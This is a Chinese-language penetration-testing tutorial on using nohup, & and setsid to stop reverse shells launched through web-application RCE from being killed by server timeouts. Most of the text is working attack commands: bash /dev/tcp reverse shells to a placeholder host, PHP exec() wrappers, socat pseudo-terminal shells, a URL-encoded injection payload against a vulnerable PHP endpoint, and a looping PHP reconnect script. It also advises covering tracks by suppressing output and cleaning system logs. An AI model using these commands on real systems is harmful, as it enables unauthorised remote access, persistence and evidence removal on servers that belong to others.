在We滲透過程中,我們常常會利用目標系統的遠程代碼執行(RCE)漏洞進行反彈Shell。然而,由于Web服務器(如PHP、Python后端)的執行環境通常存在超時限制(如max_execution_time
或進程管理策略),反彈Shell進程可能在短時間內被終止,導致會話斷連。為了解決這一問題,可以使用nohup
、&
和setsid
等Linux命令來規避后端超時退出,確保會話的穩定性。本文將聚焦Web場景下的RCE,分析如何通過這些工具實現穩定的反彈Shell。
一、Web場景RCE與超時斷連問題
1.1 Web場景RCE的特點
在Web場景下,RCE通常通過高危漏洞(如命令注入、文件上傳、反序列化等)觸發,攻擊者通過Web請求在后端執行命令。例如,在PHP環境中,可能通過system()
、exec()
等函數執行反彈Shell命令。常見的反彈Shell命令包括:
- Bash反彈:
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
- PHP反彈:
<?php exec("bash -i >& /dev/tcp/x.x.x.x/4444 0>&1"); ?>
這些命令通過Web請求觸發,但Web服務器通常會限制腳本的執行時間(例如PHP的max_execution_time
默認為30秒),或者在請求結束后終止進程,導致反彈Shell無法持久運行。
1.2 超時斷連的原因
- Web服務器超時設置:如PHP的
max_execution_time
或Nginx/Apache的請求超時配置。 - 進程依賴:反彈Shell進程依賴于Web請求的進程,請求結束后進程被終止。
- 會話管理:目標系統的會話管理策略可能主動清理非活躍進程。
- 網絡限制:防火墻或網絡策略可能中斷長時間未活動的連接。
為應對這些問題,我們可以讓反彈Shell進程脫離Web請求的控制,保持長期運行。
二、使用nohup
、&
和setsid
規避斷連
以下分別介紹這三種工具在Web場景RCE中的應用,以及如何結合使用以實現穩定的反彈Shell。
2.1 使用nohup
防止進程掛起
2.1.1 原理
nohup
(no hangup)命令通過忽略掛起信號(SIGHUP),使進程在終端或父進程(如Web請求進程)退出后繼續運行。在Web場景RCE中,nohup
可以讓反彈Shell進程脫離Web服務器的請求生命周期。
2.1.2 實現方法
假設攻擊者在目標Web服務器上通過RCE執行命令,可以使用以下方式:
nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
nohup
:確保進程忽略SIGHUP信號,不因Web請求結束而終止。bash -c
:執行反彈Shell命令。&
:將進程放入后臺運行,避免阻塞Web請求。
在PHP場景下,可以通過exec()
觸發:
<?php
exec("nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
執行后,Web請求即使因超時結束,反彈Shell進程仍會在后臺運行,保持與攻擊者監聽端口的連接。
2.1.3 注意事項
- 輸出重定向:
nohup
默認將輸出寫入nohup.out
文件,可能暴露痕跡。建議重定向到/dev/null
:nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
- 權限問題:確保Web服務器用戶(如
www-data
)有執行nohup
和bash
的權限。 - 適用性:
nohup
適用于大多數Linux系統,但部分精簡環境可能缺失。
2.2 使用&
實現后臺運行
2.2.1 原理
在Linux中,&
符號將命令放入后臺運行,使其不阻塞當前進程。在Web場景中,結合&
可以讓反彈Shell進程獨立于Web請求,避免因請求超時而終止。
2.2.2 實現方法
直接在命令后添加&
:
bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
在PHP中:
<?php
exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.2.3 注意事項
- 局限性:單獨使用
&
無法完全脫離父進程,Web服務器進程退出時,反彈Shell可能仍被終止。 - 建議:
&
通常與nohup
或setsid
結合使用,以增強穩定性:nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
2.3 使用setsid
實現進程完全獨立
2.3.1 原理
setsid
命令創建一個新的會話(session),使進程成為新會話的領導者,脫離原有的控制終端和父進程(如Web服務器進程)。這在Web場景RCE中特別有效,可徹底解決因Web請求終止導致的進程退出問題。
2.3.2 實現方法
命令示例:
setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
在PHP中:
<?php
exec("setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.3.3 注意事項
- 輸出處理:與
nohup
類似,建議重定向輸出以減少痕跡:setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
- 環境依賴:部分精簡系統可能未安裝
setsid
,需確認目標環境支持。 - 交互性:若需要更高交互性,可結合
socat
創建偽終端:setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane &
2.4 綜合使用nohup
、&
和setsid
為最大化反彈Shell的穩定性,建議結合三者使用:
nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
在PHP中:
<?php
exec("nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");
?>
nohup
:忽略SIGHUP信號,防止進程因Web請求結束而終止。setsid
:創建新會話,脫離Web服務器進程的控制。&
:確保進程后臺運行。>/dev/null 2>&1
:重定向輸出,減少痕跡。
三、實戰場景與優化
3.1 典型Web場景應用
假設目標是一個運行PHP的Web服務器,存在命令注入漏洞,攻擊者通過以下URL觸發RCE:
http://target.com/vuln.php?cmd=[command]
攻擊者可以在cmd
參數中傳入以下命令:
nohup%20setsid%20bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/4444%200%3E%261'%20%3E/dev/null%202%3E%261%20%26
- URL編碼確保命令正確傳遞。
- 攻擊者在本地監聽端口(如
nc -lvnp 4444
),即可接收反彈Shell。
3.2 優化建議
-
減少痕跡:
- 始終重定向輸出到
/dev/null
,避免生成nohup.out
等文件。 - 檢查目標系統日志(如
/var/log
),清理可能的執行記錄。
- 始終重定向輸出到
-
提高交互性:
- 如果目標支持
socat
,優先使用帶偽終端的反彈Shell:nohup setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane >/dev/null 2>&1 &
- 如果目標支持
-
應對網絡中斷:
- 在目標系統支持的情況下,添加簡單的重連腳本。例如,使用PHP編寫:
<?php while (true) {exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");sleep(5); } ?>
- 此腳本每5秒嘗試重連,適合網絡不穩定場景。
- 在目標系統支持的情況下,添加簡單的重連腳本。例如,使用PHP編寫:
-
權限檢查:
- 確認Web服務器用戶(如
www-data
)是否有執行nohup
、setsid
等命令的權限。 - 如果權限受限,可嘗試其他方法(如Python腳本)。
- 確認Web服務器用戶(如
四、優缺點總結
工具/方法 | 優點 | 缺點 |
---|---|---|
nohup | 簡單易用,內置于大多數Linux系統,防止SIGHUP終止 | 輸出默認寫入nohup.out ,需手動重定向 |
& | 簡單,直接實現后臺運行 | 無法完全脫離父進程,穩定性較低 |
setsid | 創建新會話,完全獨立于父進程 | 部分系統可能未安裝,需確認環境 |
綜合使用 | 結合三者,穩定性最高 | 命令較復雜,需確保環境支持 |
五、結論
在Web場景RCE中,反彈Shell的超時斷連問題可以通過nohup
、&
和setsid
有效規避。nohup
防止進程因SIGHUP終止,&
實現后臺運行,setsid
使進程完全獨立于Web請求進程。綜合使用這三者,并結合輸出重定向和偽終端支持(如socat
),可以顯著提高反彈Shell的穩定性。在實戰中,攻擊者需根據目標環境靈活選擇方案,并注意減少痕跡、提高隱蔽性。
通過上述方法,滲透測試人員能夠在Web場景下實現持久、穩定的反彈Shell,為后續內網滲透、權限維持等操作奠定基礎。